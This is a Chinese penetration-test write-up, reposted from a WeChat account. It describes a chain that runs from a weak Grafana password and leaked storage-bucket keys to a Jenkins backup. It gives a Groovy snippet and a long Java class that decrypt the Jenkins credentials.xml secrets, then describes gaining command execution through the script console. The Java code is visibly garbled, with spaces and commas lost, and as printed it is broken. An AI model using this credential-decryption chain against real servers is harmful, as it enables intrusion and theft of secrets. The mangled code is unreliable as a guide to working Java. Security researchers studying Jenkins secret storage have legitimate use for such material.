记一次日常渗透发现jenkins备份文件后的渗透测试

admin 2025年5月23日15:49:04评论7 views字数 6322阅读21分4秒阅读模式

扫码加圈子

获内部资料

记一次日常渗透发现jenkins备份文件后的渗透测试
记一次日常渗透发现jenkins备份文件后的渗透测试

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

原文链接:https://zone.huoxian.cn/d/2873-jenkins

作者:大反派

记一次日常渗透发现jenkins备份文件后的渗透测试
渗透测试流程

0x01 背景描述

在一次渗透测试过程中,首先发现了Grafana弱口令,登录进去发现了存在存储桶目录,访问存储桶发现存在目录遍历,里面发现存在jar包,打开jar包,发现存在AKSK,通过AKSK获取存储桶权限,通过存储桶信息收集,发现存在Jenkins备份包。

0x02 信息收集

下载源码记一次日常渗透发现jenkins备份文件后的渗透测试

通过在网上搜索信息,发现credentials.xml存放密码文件打开发现记一次日常渗透发现jenkins备份文件后的渗透测试记一次日常渗透发现jenkins备份文件后的渗透测试确实存在一行加密的密码字段。

然后理所应当的就思考,思考尝试解密

“遇事不决,可问春风”记一次日常渗透发现jenkins备份文件后的渗透测试然后根据网上找到的策略

0x03 方法策略

1.搭建环境,通过脚本命令行,进行查看所有凭据。

com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{ it.properties.each { prop, val -> println(prop + ' = "' + val + '"') } println("-----------------------") }

借用网上的图,这一步我自己搭建的环境有问题哈哈哈记一次日常渗透发现jenkins备份文件后的渗透测试或者可以手动获取凭据记一次日常渗透发现jenkins备份文件后的渗透测试然后通过脚本命令行进行解密

println(hudson.util.Secret.fromString("{刚刚复制的加密密码}").getPlainText())

记一次日常渗透发现jenkins备份文件后的渗透测试但是实际搭建环境,运行出错,这里思考两点,可能版本不对,但是我换了3个版本出错,有明白的大佬,欢迎评论指出,向大佬学习。记一次日常渗透发现jenkins备份文件后的渗透测试记一次日常渗透发现jenkins备份文件后的渗透测试

2.然后就开始了换一种方式,编写解密代码,进行解密首先我们要搞清楚需要那些文件

通过上面1进行解密的语句,已经网上查找,都是通过调用credentials.xml、masterkey 、shudson.util.Secret这三个文件

credentials.xml,存放密码hash的地方masterkey,需要key存放,进行匹配shudson.util.Secret,组件调用

进行idea选择项目,选择mvean项目记一次日常渗透发现jenkins备份文件后的渗透测试

然后运行会发现缺少依赖包,在pom.xml,查看是否写入依赖记一次日常渗透发现jenkins备份文件后的渗透测试记一次日常渗透发现jenkins备份文件后的渗透测试

package com.Jenkins;import org.apache.commons.io.IOUtils;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.CipherInputStream;import javax.crypto.SecretKey;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.security.GeneralSecurityException;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Arrays;import java.util.Base64;importstatic java.nio.charset.StandardCharsets.UTF_8;publicclassTestMain {privatestaticfinalStringKEY_ALGORITHM="AES";privatestaticfinalStringALGORITHM="AES/CBC/PKCS5Padding";privatefinalStringrootDir="C:\Users\xxx\JenkinsDecode\secrets";//目录privatestaticfinalbyte[] MAGIC = "::::MAGIC::::".getBytes();// 密文密码privatestaticfinalStringdata="{密码文本就是credentials.xml中的}";@org.junit.Testpublicvoiddecrypt() {byte[] payload;try {            payload = Base64.getDecoder().decode(data.substring(1, data.length()-1));        } catch (IllegalArgumentException e) {return;        }switch (payload[0]) {case1:// For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutputintivLength= ((payload[1] & 0xff) << 24)                        | ((payload[2] & 0xff) << 16)                        | ((payload[3] & 0xff) << 8)                        | (payload[4] & 0xff);intdataLength= ((payload[5] & 0xff) << 24)                        | ((payload[6] & 0xff) << 16)                        | ((payload[7] & 0xff) << 8)                        | (payload[8] & 0xff);if (payload.length != 1 + 8 + ivLength + dataLength) {// not valid v1return;                }byte[] iv = Arrays.copyOfRange(payload, 99 + ivLength);byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length);                String text;try {                    text = newString(decrypt(iv).doFinal(code), UTF_8);                    System.out.println("密码明文:" + text);                } catch (GeneralSecurityException e) {                    System.out.println("1111111111111");// it's v1 which cannot be historical, but not decryptingreturn;                }//                return new Secret(text, iv);default:return;        }    }public Cipher decrypt(byte[] iv) {try {Ciphercipher= getCipher(ALGORITHM);            cipher.init(Cipher.DECRYPT_MODE, getKey(), newIvParameterSpec(iv));return cipher;        } catch (Exception e) {thrownewAssertionError(e);        }    }privatesynchronized SecretKey getKey()throws Exception {SecretKeysecret=null;try {byte[] payload = load();if (payload == null) {                payload = randomBytes(256);//                    store(payload);            }// Due to the stupid US export restriction JDK only ships 128bit version.            secret = newSecretKeySpec(payload, 0128 / 8, KEY_ALGORITHM);        } catch (IOException e) {throw e;        }return secret;    }protectedbyte[] load() throws Exception {try {Filef=newFile(rootDir,"hudson.util.Secret");if (!f.exists())returnnull;Ciphersym= getCipher("AES");            sym.init(Cipher.DECRYPT_MODE, getMasterKey());try (InputStream fis= Files.newInputStream(f.toPath());CipherInputStreamcis=newCipherInputStream(fis, sym)) {byte[] bytes = IOUtils.toByteArray(cis);return verifyMagic(bytes);            }        } catch (Exception x) {if (x.getCause() instanceof BadPaddingException) {throw x; // broken somehow            } else {throw x;            }        }    }publicstatic Cipher getCipher(String algorithm)throws GeneralSecurityException {return Cipher.getInstance(algorithm);    }private SecretKey getMasterKey()throws Exception {Filefile=newFile(rootDir,"master.key");SecretKeymasterKey= toAes128Key(read(file).trim());return masterKey;    }public String read(File file)throws Exception {StringWriterout=newStringWriter();PrintWriterw=newPrintWriter(out);BufferedReaderin= Files.newBufferedReader(file.toPath(), StandardCharsets.UTF_8);        String line;while ((line = in.readLine()) != null)            w.println(line);return out.toString();    }publicbyte[] randomBytes(int size) {byte[] random = newbyte[size];newSecureRandom().nextBytes(random);return random;    }privatebyte[] verifyMagic(byte[] payload) {intpayloadLen= payload.length-MAGIC.length;if (payloadLen<0)   returnnull;    // obviously brokenfor (int i=0; i<MAGIC.length; i++) {if (payload[payloadLen+i]!=MAGIC[i])returnnull;    // broken        }byte[] truncated = newbyte[payloadLen];        System.arraycopy(payload,0,truncated,0,truncated.length);return truncated;    }publicstatic String toHexString(byte[] bytes) {intstart=0;intlen= bytes.length;StringBuilderbuf=newStringBuilder();forint i=0; i<len; i++ ) {intb= bytes[start+i]&0xFF;if(b<16)    buf.append('0');            buf.append(Integer.toHexString(b));        }return buf.toString();    }publicstatic SecretKey toAes128Key(String s) {try {// turn secretKey into 256 bit hashMessageDigestdigest= MessageDigest.getInstance("SHA-256");            digest.reset();            digest.update(s.getBytes(StandardCharsets.UTF_8));// Due to the stupid US export restriction JDK only ships 128bit version.returnnewSecretKeySpec(digest.digest(),0,128/8"AES");        } catch (NoSuchAlgorithmException e) {thrownewError(e);        }    }}

这段代码使用了Java的加密库进行解密操作。它包含了以下几个重要方法:

decrypt(): 这个方法根据所传入的密文数据进行解密操作。它首先解码密文数据,并根据数据的第一个字节确定数据的版本。然后,根据不同的版本格式进行解析,并在解密完成后将明文输出到控制台。

getCipher(): 这个静态方法返回一个指定算法的Cipher对象。getKey(): 这个方法根据存储的密文数据加载或生成密钥对象。load(): 这个方法从文件中加载存储的密文数据,并进行解密操作。getMasterKey(): 这个方法从master.key文件中读取并转换为AES密钥对象。toAes128Key(): 这个静态方法将字符串形式的密钥转换为128位的AES密钥对象。所有都准备完毕,单击运行!!!

记一次日常渗透发现jenkins备份文件后的渗透测试使用破解的密码进行登录,通过脚本命令行获取命令执行权限记一次日常渗透发现jenkins备份文件后的渗透测试

0x04 思考总结

1.遇见信息泄露,慢慢翻,慢慢看2.思考如何利用已知的东西,进行深入3.”遇事不决,可问春风“!!

记一次日常渗透发现jenkins备份文件后的渗透测试

原文始发于微信公众号(神农Sec):记一次日常渗透发现jenkins备份文件后的渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日15:49:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次日常渗透发现jenkins备份文件后的渗透测试https://cn-sec.com/archives/4084850.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息